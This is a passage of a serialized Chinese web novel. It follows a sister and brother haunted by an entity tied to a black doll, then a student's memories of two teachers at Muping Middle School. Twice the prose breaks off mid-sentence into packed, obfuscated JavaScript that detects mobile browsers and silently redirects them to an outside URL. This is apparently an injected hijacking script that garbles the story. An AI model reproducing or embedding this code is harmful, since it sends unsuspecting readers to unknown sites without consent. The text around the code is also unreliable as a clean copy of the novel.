“为什么打架?”席悯春问。 “他骂我。” “骂你什么?” 席鸿秋沉默了一会儿。 “他说我是野种。”他说,“说席家要不是看我可怜,早就把我赶出去了。” 席悯春攥紧了拳头。 “他说得没错。”席鸿秋忽然说。 席悯春抬起头。 “姐姐,他说得没错。”席鸿秋看着她,“我本来就是个野种,是不被人期待的私生子,是母亲遭人强迫的产物。我本来就是……多余的。” 席悯春喉咙发干,说不出话来。 席鸿秋笑了。那笑容很淡,很轻,像一片落在水面上的叶子。 “姐姐,”他说,“你知道我为什么答应祂吗?” 席悯春摇摇头。 “因为祂是第一个说‘我需要你’的东西。”席鸿秋说,“父亲不需要我,母亲不需要我。这个世界上没人需要我。只有祂。” 他看着席悯春,那双眼睛在灯光下亮得吓人。 “姐姐,你说你需要我吗?” 席悯春张了张嘴。 “你说啊。”席鸿秋说,“你说你需要我,我就把祂的东西还回去。再也不理祂了。” 席悯春看着他。十七岁的男孩,坐在她对面,脸上还有伤,眼睛里有一种她从来没见过的光。那光很亮,很热,像有一团火在烧。 她张了张嘴。想说需要。想说你是我的弟弟,我当然需要你。想说那些话就在嘴边,但她说不出来。 因为这是谎言。 谎言在这团火面前就像纸一下,不堪一击。 她犹豫了。 只犹豫了几秒。 但席鸿秋看见了。他看见了她的犹豫,看见了她眼底的迟疑。那光在他眼睛里摇曳了一下,然后灭了。 “算了。”他站起来,“我开玩笑的,姐姐。” 他走了。回自己房间,关上门。 席悯春坐在客厅里,很久没动。 那天晚上,她一直在幻听,好像隔壁房间里传来了哭声。细细的,微弱的,不间断的。 但没有。这只是幻听。 席悯春躺在床上,睁着眼睛,“听”着那个声音,一直到天亮。 第二天,她带着席鸿秋转了学。 九 秋天,席悯春在整理席定州的房间时发现了一个纸箱。 箱子放在储物间最里面,落满了灰。她打开,里面是一些旧相册、旧文件,还有一个布娃娃。 那娃娃很小,巴掌大,浑身漆黑,眼睛是两颗红色的珠子,嘴角向上弯着,像在笑。它被塞在一堆发黄的信件中间,露出半张脸。 席悯春把它拿出来,觉得有些眼熟。 她翻了翻那些信件,大多是生意上的往来,没什么特别的。最底下有一封信,已经很旧了,信封上写着“阿云亲启”四个字,是席定州的笔迹。 信是写给她母亲的。 她犹豫了一下,拆开了。 信很短,只有几行字: “阿云,这个东西你收好。老冯跟我说,有了它,咱们家一定能富起来。” 老冯,就是那个帮她介绍薄野明的父亲的朋友。 席悯春看着那个漆黑的布娃娃,心里有一种说不出的异样感,很不舒服。她翻看信封,最底下落的日期,是她的生日——也是母亲的忌日。 她把娃娃放回箱子里,合上盖子,抱回自己房间。 那天晚上,她做了一个梦。 梦里她站在一棵大树下,树上挂满了红色的绳子,绳子上系着纸条,随风飘荡着。她伸手想去摘,纸条却自己飘了下来,落在她掌心。 上面写着:席鸿秋。 她猛地醒了。枕头是湿的。 她不知道自己为什么哭。 十 二〇〇六年春天,席鸿秋开学了,这是高中最后的一个学期。走之前,他在家里收拾东西,把那个铁皮盒子也带上了。 席悯春站在门口,看着他往箱子里装东西。 “那个盒子……”她说。 席鸿秋抬头看她。“怎么了?” “没什么。”席悯春说,“就是……你还留着?” 席鸿秋沉默了一会儿。 “姐姐,”他说,“你有没有想过,那个东西为什么来找我?” 席悯春没说话。 “因为祂知道,”席鸿秋说,“这个世界上,没有人在乎我。所以祂能趁虚而入。” “事实上,祂也成功了。” 他拉上箱子的拉链,站起来。 “姐姐,我走了。” 席悯春点点头。 席鸿秋走到门口,停下来,回过头。 “姐姐,”他说,“你说过你信我。这句话,还算数吗?” 席悯春看着他。十八岁的男孩,站在门口,背着书包,拖着行李箱,像一棵终于长成的树。他的眼睛很亮,和他小时候一样。 “算。”她说。 席鸿秋笑了。 “这就够了。”他说。 他走了。 席悯春站在门口,看着他的背影消失在巷子口。风吹过来,银杏树的叶子沙沙地响。 她站了很久。然后转身回屋,走进自己房间,打开那个纸箱,拿出那个漆黑的布娃娃。 它的眼睛是红色的珠子,嘴角向上弯着,像在笑。 她看着它,猛地攥紧拳头,掐住它的脖子,狠狠摔在地上。 数不尽的恨意从心底涌上来,萃成浑厚的恶意,又在理智的管控下沉寂下去。 席悯春把娃娃放回箱子里,盖上盖子。她走到窗前,推开窗户。夜风吹进来,带着春天泥土的气息。 她生于春天。她讨厌春天。 月亮升起来了,很圆,很亮。银杏树的影子落在地上,像一个人,站在树下,等着什么。 十一 二〇〇六年秋天,席鸿秋去了省城读大学。席悯春留在慕坪中学继续教书。 日子平静下来。席鸿秋的房间空荡荡的,她有时候会路过,看见门开着,里面什么都没有。床铺得很整齐,书桌上光秃秃的。那个铁皮盒子被他带走了。 她偶尔会想起那个漆黑的布娃娃。它还在储物间的纸箱里,她再也没打开过。 席鸿秋偶尔会打电话回来。话不多,问问家里的情况,问问她的身体,说自己在学校挺好的。每次通话都很短,两三分钟结束,最长的一段是十分钟,他们大吵了一架——关于他毕业后的去留。 每次挂电话之前,他总会说一句:“姐,你照顾好自己。” 席悯春说:“你也是。” 然后就结束了。 有一年中秋,席鸿秋没有回来。他说学校有事,走不开。席悯春一个人坐在客厅里,看着窗外的月亮。银杏树的叶子黄了,落了一地。 她忽然想起,很多年前的中秋,席鸿秋还小,追在她后面跑,喊着“姐姐姐姐,月亮好大”。 她笑了。笑着笑着,又觉得鼻子有点酸。 十二 二〇〇七年秋天,席悯春收到一个包裹。 没有寄件人,邮戳是省城的。她拆开,里面是一个铁皮盒子——席鸿秋的那个。 她打开,里面的纸片还在,但上面的每一行字都被更浓重的红色颜料覆盖,把纸片变成了红色。 只有最后一张纸片上的那行字还在:“祂说,只要我想要,什么都可以给我。”但下面多了一行字,是席鸿秋的笔迹: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420264|200808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我到底想要什么?” 席悯春捧着那个盒子,坐在沙发上,很久没动。 她想起薄野明给她的那张名片。想起那个叫庳墟的地方。想起父亲信里那句话。想起那个漆黑的布娃娃。 她站起来,走进储物间,打开那个纸箱。 娃娃还在。黑色的身体,红色的眼睛,嘴角向上弯着,像在笑。 她把它拿出来,放在掌心。它很轻,轻得像什么都没有。 她盯着它看了很久。 然后她走到窗前,推开窗户。冬天的风灌进来,冷得她打了个哆嗦。 她把手伸出窗外,松开手指。 娃娃掉了下去。 她低头看。它落在银杏树下的落叶堆里,黑色的身体被金黄的叶子盖住了,只露出半张脸。红色的眼睛在月光下闪了一下,然后被风吹过来的叶子完全盖住了。 席悯春关上窗户,回到屋里。 她拿起电话,拨了席鸿秋的号码。 响了三声,接通了。 “姐?”他的声音有点哑,像是刚睡醒。 “鸿秋。” “嗯?” “你寄来的东西,我收到了。” 电话那头沉默了一会儿。 “哦,”他说,“那个啊。没什么,就是觉得……我都这么大了,在玩这些太幼稚了。” 席悯春握着话筒,不知道说什么。 “姐,”席鸿秋忽然说,“你还留着那个娃娃吗?” 席悯春愣了一下。 “什么娃娃?” “你藏在储物间那个。”席鸿秋说,“黑色的,红眼睛的。” 席悯春的心跳漏了一拍。“你怎么知道?” “我一直都知道。”席鸿秋说,“那是祂的东西。祂来找我,就是因为那个娃娃。爸把它带回家,祂就跟着来了。” 席悯春张了张嘴。 “我把它扔了。”她说,“刚才。” 电话那头沉默了很久。 “姐,”席鸿秋的声音有点抖,“你真的扔了?” “真的。” 又沉默了一会儿。然后席鸿秋笑了。那笑声很轻,很淡,但和以前不一样——是温暖的。 “谢谢你。”他说。 十三 二〇〇八年元宵节,席鸿秋回来了。 他站在门口,比走的时候又高了一些,瘦了一些。脸上的棱角更分明了,但眼睛还是亮的。 “姐,我回来了。” 席悯春站在门口,看着他,忽然觉得鼻子有点酸。 “进来。”她说,“吃饭了。” 席鸿秋换了鞋,走进来。路过储物间的时候,他停了一下,看了一眼那扇关着的门。 “那个纸箱呢?”他问。 “扔了。”席悯春不欲多言。 席鸿秋点点头,没再问。 他们坐在桌边吃饭。窗外有人在放烟花,嘭嘭的响,光透过玻璃一闪一闪的。席鸿秋吃得很慢,一口一口的,像小时候一样。 “姐,”他忽然说,“你说,祂会不会再来找我?” 席悯春看着他。 “不会。”她说,“你说不要了,祂就不会来了。” 席鸿秋笑了。那笑容很淡,但眼睛是弯弯的,亮亮的。 “你怎么知道?” “我不知道。”席悯春说,“但我就是这样相信的。” 席鸿秋看着她,看了很久,然后起身给她倒水。 “姐,”他说,“你以前说过你信我。现在呢?” 席悯春放下筷子。 “现在也信。” 席鸿秋的笑容深了一些。他低下头,继续吃饭。 窗外烟花还在放。银杏树的影子落在地上,被灯光拉得很长。风吹过来,光秃秃的枝桠晃了晃,像是在和谁招手。 席悯春坐在桌边,看着对面那个已经比她高了很多的男孩,忽然想起很多年前,他追在她后面喊“姐姐姐姐”的样子。 那时候他还小,什么都不懂。 现在他长大了。懂了很多。放下了很多。 她端起杯子,喝了一口水。水是不烫不凉,是她喜欢的温度。 “鸿秋。” “嗯?” “元宵节快乐。” 席鸿秋抬起头,看着她。他的眼睛很亮,和她第一次觉得他不对劲的那个冬天一样亮。但那里面的东西不一样了。 不是死水,是活的。 “元宵节快乐,姐。”他说。 窗外月光很亮。银杏树的影子落在地上,安安静静的,像一个人,终于不再等了。 其实春天也没那么讨厌。 13. 阑珊 一 我叫陈一舟,慕坪中学高三(十)班的学生。成绩不好不坏,长相不好不坏,性格不好不坏——什么都不突出,什么都不垫底。属于那种老师点名要盯着花名册看半天才能对上号的类型。 我之所以提笔,是为了记录一些人。 我读了这么多年书,见过的老师没有一百也有八十。大部分老师是这样的:上课,下课,批作业,骂学生,下班,偶尔和其他老师聊天(也或许不是偶尔)。 很普通,很正常,普通正常到我从来不会多看他们一眼。 当然我发誓,这句话绝对没有我上课开小差的意思。 但有几个老师,不是这样。 二 先说逄老师。 逄老师全名逄寒林,是我们班的语文老师。名字听起来很美吧,但第一次见面的时候,他可把我吓了一跳。 怎么说呢,这个人看起来不像老师,像□□。也不是说长得怎么凶神恶煞,我指的是那种——气场。 他很瘦,但个子不矮,但也不算高,目测不到一米八。但气场很足,他站在讲台上,扫了一圈教室,那眼神,怎么说,像在清点人数准备收保护费。 旁边坐着的胖子李威捅了我一下,小声说:“卧槽,这老师,我不敢逃课了。” 但逄寒林一开口,我们都愣住了。 他的声音很轻,很柔,很清亮。 “我叫逄寒林。”他说,“你们是我带的第一届学生,同样,我也会是你们带的第一届老师——以后请多多关照。” 同学们哄堂大笑。 我盯着他的脸出神。 直到李威拽着我的袖子把我摇醒,我才迷迷糊糊地打开书,眼神依旧直愣愣的。 这节课讲的是辛弃疾的《青玉案·元夕》。他没有像别的语文老师那样先介绍作者生平、写作背景、中心思想,他直接念词。 “东风夜放花千树,更吹落、星如雨。宝马雕车香满路。凤箫声动,玉壶光转,一夜鱼龙舞。” 他念得很慢,每一个字都念得很清楚。念到“众里寻他千百度”的时候,他停了一下,看着窗外的方向,目光好像穿过了窗户,在看别的地方。 “蓦然回首,那人却在,灯火阑珊处。” 他念完了,教室里安静了很久。 我们都被朗读声带进了诗文里,很久才出来。 然后逄老师说:“这首词,是辛弃疾写元宵节的。”他顿了顿,“元宵节,就是今天。” 我们才想起来,那天确实是元宵节。 下课后,李威趴在桌上,眯着眼看我,“舟子啊,你是不是看上逄老师了,刚叫你半天你都不应。” 他说着,不知道哪根弦搭错了,拉起我的手郑重道:“没事舟子,哪怕同性恋再怎么不被世人待见,你威哥我……呜呜!” 我收回捂住他嘴的手,优雅地翻了个白眼。 “滚着。” “得嘞。” 他飞快地跑远了。 我把视线移回语文书,脑海里却在想逄老师那张脸。 我家三代从医,我自然也耳濡目染学了些。 逄老师……似乎心脏不太好。 后来他上的每一节课,我都很认真地听。他讲李清照,讲“帘卷西风,人比黄花瘦”的时候,眼帘不自觉地垂落,长长的睫毛微微抖动着。他讲苏轼,讲“十年生死两茫茫”,念到最后一句“料得年年肠断处,明月夜,短松冈”,声音压的很低。讲台上方的灯光照着他,我看见他的手指在书页上不自觉地摩挲,很快又松开。 我觉得他心里有事。和我们那些“中午吃什么”“又没抢到球场”的烦恼不同,是那种很深很深的,沉在底下的,平时看不见但一直在那儿的事。 有一天下课,我去找他问问题。我有很多问题,其他科的更多,但我只肯问他。他也确实会次次回答我。 他站在走廊上,靠着栏杆,看着操场的方向。操场上有人在跑步,有人在踢球,很吵。 “逄老师,”我说,“我想问一下,‘此情无计可消除,才下眉头,却上心头’,这个‘才下眉头,却上心头’,是李清照写她自己的心情,还是写她想象中丈夫的心情?” 他转过头看着我,眼神很久才聚焦。 他用一副才认出我的表情,接过书,把我带进办公室坐下。 “你觉得呢?”他问我。 我想了想:“我觉得是写她自己的。” 他点点头,没说话。 “逄老师,”我又说,“你是不是有心事?” 他愣了一下,然后笑了。他笑起来的时候,身上那股凶劲儿终于散了。其实他的眉眼很柔和,就是不知道为什么总板着脸——总不能是拒桃花吧? “没有。”他说,“谢谢你关心。” 他站起身,向外面走了几步,又停下来,回头看了我一眼。 “元宵节快乐。”他说。 我站在原地,看着他走远。他走路很慢,微微低着头,肩膀有点佝偻,像是被什么东西压着。 我想,逄老师一定有很多故事。多到成了一座小山,不管不顾的压在他身上。 后来李威跟我说,他听其他老师聊天的时候说,逄老师有心脏病。先天的那种,医生说活不过四十岁。 我愣了一下,第一反应不是震惊或了然,而且想起了他读“十年生死两茫茫”时候的样子。 原来不是故事。 是命。 三 再说廖老师。 廖老师叫廖振山,是我们班的数学老师。和逄老师完全相反——逄老师是看起来凶,实际上不凶;廖老师是看起来不凶,实际上……我们私底下都叫他“笑靥魔王”。 廖老师长得白净,戴一副细框眼镜,说话也慢条斯理的,看起来像个好好先生。但他上课的时候,有一种让人不敢走神的魔力。 不是凶,是——冷。他的眼神很冷,像零下四十多度的天,被他盯着,谁也不敢走神。 没人敢知道被他抓住走神的后果。连班上最调皮的学生都不敢,只能苦哈哈地看着黑板,强迫自己听天书。 每到这个时候,我都要庆幸——幸好我的数学还不错。 第一节课,他在黑板上写了一道题,转过身说:“谁来做一下?” 题不难,是初升高的衔接题,只要提前预习了就一定会做。 但没人举手。 他也不催,就站在讲台上,看着我们。那眼神,像在看一群没开智的猴子,没有生气,没有失望,甚至没有期待。 最后班长举手了,上去做完了。廖老师看了一眼,点点头,说:“对了。”然后擦了,写下一道题。 就这样,一整节课,他写了二十道题,叫了二十个人上去做。做对了就下去,错了就改,直到改对为止。 下课铃响了,他说:“作业是刚才那二十道题,明天交。” 然后就走了。 李威趴在桌上哀嚎:“这老师,比逄老师还可怕。逄老师至少会念词,他连话都不说。” 我说:“人家说了,说了‘对了’还有‘重做’。” 李威瞪我一眼:“你那嘴。” 索性第二天的课上,他没再继续之前的风格。 他随意地把书放在一边,不用去看,就能精准地说出每一页的知识点和例题,练习题更是提笔就来。虽然不够生动有趣,但也称得上一句“才华横溢”。 后来我们发现,廖老师不是不说话,是不爱说废话。你问他问题,他会讲,讲得很清楚,一步一步的,比标准答案还标准。但你不问,他绝不多说一句。 有一次我去办公室交作业,看见逄老师也在。两个人在说话,声音不大,我站在门口,听不太清,只听见几个词。 “药吃了吗?”这是廖老师说的,声音很柔和。 “吃了。”这是逄老师说的,带着笑。 “明天别忘了。” “知道了。” 然后逄老师走出来,看见我,点点头,走了。 廖老师坐在办公桌后面,看着我交上去的作业,翻了翻,抬头说:“第三题做错了。” 我愣了一下:“啊?” “回去重新做。” 我拿着作业本走出去,走到门口,忍不住回头看了一眼。廖老师正低着头批改作业,笔尖在纸上沙沙地响。阳光从窗户照进来,落在他身上,他的影子投在地上,随着主人的动作不断移动着。 我挠挠头,心想,逄老师和廖老师,关系一定不一般。 四 后来我发现了规律。 逄老师上完课,廖老师会从教室门口经过。 不是每次,但十次有七八次。他就那么走过去,往里看一眼,看见逄老师在收拾东西,就走了。有时候逄老师会抬头,冲他点一下头,他也点一下头,然后两人并肩离去。 两个人之间,好像不用说话。 有一次体育课下雨,我们改在体育馆里活动。我打完球坐在台阶上喝水,看见廖老师从体育馆门口走过,手里拎着一个袋子,往教职工宿舍那边走。逄老师从另一边走过来,两个人碰上了,站在路边说了几句话。 距离太远,听不清说什么。只看见廖老师把袋子递给逄老师,逄老师接过去,打开看了一眼,笑了。廖老师也笑了,虽然很淡,但也足够让我惊掉下巴——无他,只是没想到这位“魔王”也能笑得如此绚烂。 不瞒你们说,我一直以为他只会扯动嘴角,然后露出一个三分薄凉三分讥笑四分漫不经心的“调色盘式”微笑呢! 旁边练跳远的王磊凑过来:“看什么呢?” 我说:“没什么。” 王磊顺着我的目光看过去,说:“哦,逄老师和廖老师啊。他们关系可好了,住同一栋楼,天天一起吃饭。” “你怎么知道?” “我住那边啊,我姑姑也是这儿的老师,我跟着她。”王磊说,“我经常看见逄老师拎着早饭去廖老师家,晚上也在那边待到很晚才走。有一回我半夜起来上厕所,还看见廖老师家的灯亮着,窗帘后面有两个人影。” 我看着他。 “你盯着人家看干什么?” “不是盯着看,是上厕所路过。”王磊说,“不过说真的,他们俩关系是真好。我听我姑姑说,他们从小就认识,都有二十多年了。” 认识二十多年了。 我忽然想起逄老师在课上念的那句词:“蓦然回首,那人却在,灯火阑珊处。” 原来是这样。 五 李威因为成绩下滑,被老师调去当了“护法”。 没了上课说话的搭子,我很快就无聊到在课本上画满了小人画。 不过很快,就有一个转学生填补了这个空位。 我的新同桌叫席鸿秋。 第一次见面,他冲我点了一下头,没说话。我冲他笑了笑,伸出手,他也没理我。 席鸿秋这个人,在我们学校挺出名的。不是因为他成绩好,是因为他——怎么说,阴。整个人阴沉沉的,不爱说话,看人的时候眼睛直勾勾的,让人不舒服。听说他在原来学校出过事,好像是跟老师打架,被开除了,才转到我们这儿来的。 “打架?”李威说,“跟老师打架?胆子也太大了吧。” “不算打架吧,”王磊说,“是把老师推倒了。” “敢推老师?这还不算打架啊!” “嗯……”王磊挠了挠头,被说服了。 “所以,为什么啊?” “谁知道呢。反正他这人挺吓人的,离他远点。” 我没说话。但我心里想,一个人得有多大的恨,才会把老师推倒? 和席鸿秋做同桌的第一周,我们说了不到十句话。大多数时候,他一个人坐着,对着窗外的银杏树发呆。 有一次我问他:“席鸿秋,这道数学题怎么做?” 他转过头,看了我一眼,又看了看那道题。然后他把本子拿过去,在草稿纸上写了几行步骤,推回来。 我看了看,写得很清楚,甚至连公式都在旁边标明了。 “谢谢。”我说。 他依旧没说话,又转过头看着窗外。 后来我和他混熟后才发现,原来不是他不想理人,而是不敢回话。 他断断续续说了很多。他说,因为他的身世很特殊,在之前的学校他说漏了嘴,于是被老师同学们有意无意地打压谩骂,他实在气不过,于是推了人,于是转了学。 于是他学会了闭嘴,学会了少说少错。 我听完,很严肃地拍拍他的肩,说别怕,以后舟哥保护你。如果再有人欺负你——就让小李子冲上去当沙包。 李威在一旁抬起头,嘴里被肉包堵着说不出话,但我知道他一定问候了好几遍我全家。 于是我朝他竖起一个中指,然后拉着席鸿秋嘻嘻哈哈地跑远了。 有一回中午,我在教室里吃面包,看见席鸿秋坐在座位上,面前摊着一本书,没翻。他盯着书页的同一行字,盯了很久。 “你不去吃饭?”我问。 他抬起头,看了我一眼。 “不饿。” 我看了看他的脸色,有点白,嘴唇没什么血色。 “你是不是不舒服?” 他摇摇头,又低下头看书。 我没再问。但后来我注意到,他经常不去食堂吃饭。有时候带一个面包,有时候什么都不带,就那么坐着,从午休坐到下午上课。 有一次我在走廊上遇见席老师——席悯春,她是高一的音乐老师,长得好看,家里有钱,据说父亲是大老板,只是可惜死得早。她开一辆红色的车,每天停在教学楼后面的车位上,很显眼。她上课的时候总是笑眯眯的,但那种笑,就像挂在墙上的画,好看是好看,但没有温度。 还有一点,就是她总会过来,隔着窗户看席鸿秋。偶尔进来,给他送些东西。 “席老师,”我叫住她,“你是席鸿秋的姐姐吧?” 她愣了一下,然后笑了:“对,我是他姐姐。怎么了?” “没什么,就是他最近老不去吃饭,脸色也不太好。” 她的笑收了收,整个人突然被寒气包裹了。 我不禁抖了又抖,幸好男子汉的气概还在支撑着我,让我没有立刻逃走。 “我知道了,”她说,“谢谢你。” 我连忙跑走。跑到拐角处,我偷偷向后看,她站在走廊上,看着操场的方向。阳光从外面穿进来,洒落在她旁边。 她一缕阳光都没沾上。 我不知道她在想什么。 六 有一回上语文课,逄老师讲的是归有光的《项脊轩志》。 “庭有枇杷树,吾妻死之年所手植也,今已亭亭如盖矣。” “这句话,”他说,“写的是时间。枇杷树种下去的时候,妻子刚死。等它长成亭亭如盖的大树,已经过去了很多年。他没有说想念,没有说悲伤,他只说树长大了。” 他停了一下。 “这叫做寄情于景。让树的生长与人的离去形成对比,?平淡中带着隽永。他一直在想她。每一天,每一刻,从树还是小苗的时候,到树长成浓荫的时候。从来没有停过。” 他说完了,继续往下讲。 我坐在下面,看了一眼旁边的席鸿秋。他低着头,看着课本,手指按在书页上,微微泛着白。 下课后,我收拾东西,看见他的课本上,那行字下面画了一道线。很轻,像是用铅笔画下又擦掉的,又像是用手指甲划的。 我没问他。我想,这件事,问了他也不会说。 七 高三的课业很重,但逄老师的语文课是唯一的例外。 高中的课程已经全部讲完,但逄老师并不急着带我们复习。 他每天抽出一首诗,或者词,亦或者是文言文。不是上来就抽背默写一条龙,而且带着我们了解诗词背后的故事。 有一次讲李商隐的《锦瑟》。“此情可待成追忆,只是当时已惘然。”他说,“李商隐写这首诗的时候,大概已经老了。他想起了很多事,很多人,但都已经过去了。他想抓住什么,但抓不住。所以他写‘已惘然’。不是不想追,是追不上了。” 他站在讲台上,阳光从窗户照进来,落在他身上。他很瘦,衣服空荡荡的,像挂在衣架上。他的脸色很白,嘴唇没什么血色。但他讲这些词的时候,眼睛是亮的。 那天下课,我路过办公室,看见廖老师站在他桌子旁边,手里拿着一个保温杯,放在逄老师面前。逄老师抬头看了他一眼,说了句什么,廖老师摇摇头,又说了句什么。然后廖老师在旁边的椅子上坐下来,拿过逄老师面前的一叠作文本,翻开,开始批改。 两个人,一个在写东西,一个在批作文,谁也没说话。 灯光从天花板上洒下,落在他们身上,像一幅画。 我站在门口看了一会儿,然后走了。 八 席鸿秋和我做了一年多的同桌,除却最开始的尴尬期,我们之间的共同话题越来越多, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420265|200808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有时甚至超过了我和李威还有王磊之间的话。但我总觉得,我和他之间依旧横亘着什么——我们还是陌生人一样。 他像一个人站在悬崖边上,往前一步是深渊,往后一步也是深渊,所以他站在那儿,一动不动。 有一回晚自习,教室里很安静,大家都在做题。席鸿秋忽然放下笔,趴在桌上。我以为他累了,没在意。过了很久,他没起来。我侧过头看他,他的肩膀在微微发抖。 “席鸿秋?”我小声叫他。 他没应。 “席鸿秋,你怎么了?” 他还是没应。我伸手碰了碰他的胳膊,他猛地抬起头。我看见他的眼睛,红的,但没有泪。他看着我,眼神很复杂。似乎有一闪而过的恨意,应该是我看错了。 我抖了抖身子,没当回事。 “没事。”他说。声音很哑。 他转过去,拿起笔,继续做题。 我没再问他。但后来我注意到,他的草稿纸上,除却验算的痕迹,全写满了同一个字。 恨。 大大小小的,密密麻麻的,充斥着整张纸。 我把那张草稿纸收起来,塞进自己的抽屉里。他后来也没问我要。 九 逄老师的病,在我们临近高考时似乎越来越严重了。 他瘦了很多,颧骨凸出来,眼窝凹下去,脸色总是白的。他走路更慢了,上楼梯要在中间停一次,扶着栏杆喘气。但他还是每天来上课,站在讲台上,讲那些诗词。 有一天上课,他讲到一半,忽然停下来,手按着胸口,皱了皱眉。教室里很安静,所有人都看着他。他闭了一下眼睛,深呼吸,然后睁开眼,笑了一下。 “没事,”他说,“我们继续。” 他继续讲课。声音还是那么轻,那么平柔,只是哑了些,几乎和平时一模一样。但我看见他的手指按在讲台上,关节发白。 下课后,廖老师出现在门口。他走进来,走到逄老师面前,没说话,只是看着他。逄老师抬头看了他一眼,笑了一下。 “我没事。”他说。 廖老师没说话,伸手拿过他手里的课本,另一只手扶着他的胳膊,往外走。逄老师没挣,跟着他走了。 全班都看着他们走出去。 李威凑到我耳边说:“廖老师是不是喜欢逄老师?” 我没说话。 “不是那种喜欢,”李威说,“是那种喜欢。” 我看着他,眼里的疑惑几乎要冒出来。 “算了,”李威说,“当我没说。” 但我知道他不是随便说说的。因为后来我也开始想了。一个人,每天给另一个人送早饭,每天晚上去他家里待到很晚,每天提醒他吃药,每次下课都来接他。这算什么呢?友情?亲情?还是别的什么? 我没来得及想明白。 因为廖老师就像在教室里安了摄像头和监听设备一样,第二天一来,就像机关枪锁定了目标一样,接连招呼我和李威的名字。 一节课下来,我们的屁股几乎没沾到座位。 我和李威对视一眼,几乎同时苦笑出声。 十 高考前两个月,逄老师住院了。 消息是班主任在早自习的时候说的。“逄老师身体不太好,这段时间的语文课由隔壁班的李老师代上。大家安心复习,不要分心。” 教室里很安静。没人说话。 我坐在座位上,看着窗外。操场上的篮球架空荡荡的,风吹过,铁链叮叮当当地响。 席鸿秋坐在我旁边,低着头,看着课本。他的手放在桌上,手指微微蜷着。 后来我听说,逄老师是心脏病发作,被廖老师送去的医院。那天晚上,廖老师在他家里,发现他不对劲,打了120,跟着救护车一起去了医院。 再后来,高考前一周,逄老师回来了。瘦得不成样子,颧骨像刀片一样硌出来,脸色灰白,但眼睛还是亮的。 他站在讲台上,看着我们,笑了一下。 “好久不见。”他说。 我坐在下面,鼻子忽然酸了。 他没再讲课,而是念书。念的是辛弃疾的《青玉案·元夕》。和第一节课一模一样。 念到“众里寻他千百度”的时候,他停了一下,看着窗外的方向。 “蓦然回首,那人却在,灯火阑珊处。” 他念完了,教室里安静了很久。 “这首词,是辛弃疾写元宵节的。”他顿了顿,“今天不是元宵节,但我想讲。因为可能没有机会再讲了。” 我愣了一下。 他笑了笑,那笑容很淡,像冬天早晨的太阳。 “不是那个意思。是高考前就剩这几节课了,我想再对着你们念念。” 他继续念别的诗。和以前一样,慢慢的,轻轻的。 下课后,他收拾好东西,在门口停下来,回过头。 “好好复习,”他说,“高考加油。” 他走了。我坐在座位上,看着他的背影。 他走得依旧很慢,但又好像有哪里不同了。我冲上去抓住他的手臂,按上他的桡动脉,仔细感受着心跳。 我从爷爷那学了一点把脉皮毛。 心跳得很慢,但有力。即使我再怎么门外汉,也知道这不像一个心脏病人会有的心跳。 我抬起头,惊讶地看着他。 逄老师扬起嘴角,摸了摸我的头,肯定了我的想法。 我不由流下一滴泪来。 十一 高考完的那天晚上,我绕着学校跑步。路过教学楼后面的车位。席老师的车停在那儿,红色的,在路灯下暗得像凝固的血。她坐在驾驶座上,没开灯,脸藏在暗处,看不清表情。 我走过去,敲了敲车窗。 她摇下窗户,看着我。她的眼睛是红的,但没有泪。 “席老师,”我说,“你没事吧?” 她沉默着,许久才出声。 “没事。”她说,“回去吧,早点休息。” 她摇上窗户,发动了车。红色的尾灯亮了一下,然后消失在夜色里。 我继续走,又在校门口看见了廖振山。 他站在那棵银杏树底下,看着教学楼的方向。阳光很亮,照在他身上,他的影子投在地上,很淡。他穿着一件白色的衬衫,很旧了,领口有点发黄。他瘦了很多,脸颊凹下去,眼窝深了。 我走过去,站在他旁边。 “廖老师。” 他转过头,看着我。 “考得怎么样?” “还行。” 他点点头,没再说什么。 “廖老师,”我说,“能和我说说你和逄老师的故事吗?我……我想知道很久了。” 廖振山看着我,看了很久。然后他笑了一下。那笑容很淡,像数学课上的那种淡,但又不完全一样。 “没什么好说的。”他说。 “我们是朋友,更是家人——好几辈子的家人。” 风吹过来,银杏树的叶子沙沙地响。现在是夏天,叶子还是绿的,绿得发亮。 “陈一舟,”廖振山忽然说,“你以后想学什么?” “汉语言吧。”我说,“我也想当老师。” 他点点头。 “是个好专业。” 他转过身走了。 我站在银杏树底下,看着他的背影,知道看不见为止。 我突然又想起了《项脊轩志》。 于是我转过身,抬手在银杏树粗糙的纹理上抚过。 我想,这棵树好像长高了。 十三 后来我考上了大学,汉语言文学专业。再后来我毕了业,读了研,参加了工作,又兜兜转转回到了慕坪中学教书。 教语文。 他们都已经不在了。或许死了,或许去了其他地方。那个时候技术还不够先进,换了几次电话之后,我就再也联系不上他们了。 站在那棵愈发高大的银杏树下,我偶尔会想起那些人。 想起逄寒林站在讲台上念“十年生死两茫茫”的语调,想起廖振山蹲在他面前翻抽屉找药的焦急,想起席悯春坐在车里没有开灯的表情,想起席鸿秋那张被我藏起来的草稿纸——现在早已找不到了。 他们后来怎么样了,我不知道。但我知道,这世上有一些东西,不会因为人走了就消失。 比如银杏树,比如元宵节。 比如词里的灯火。 还在亮着。 等那个回首的人。 14. 归途 一 薄野明第一次听见那个声音,是一九八五年的冬天。 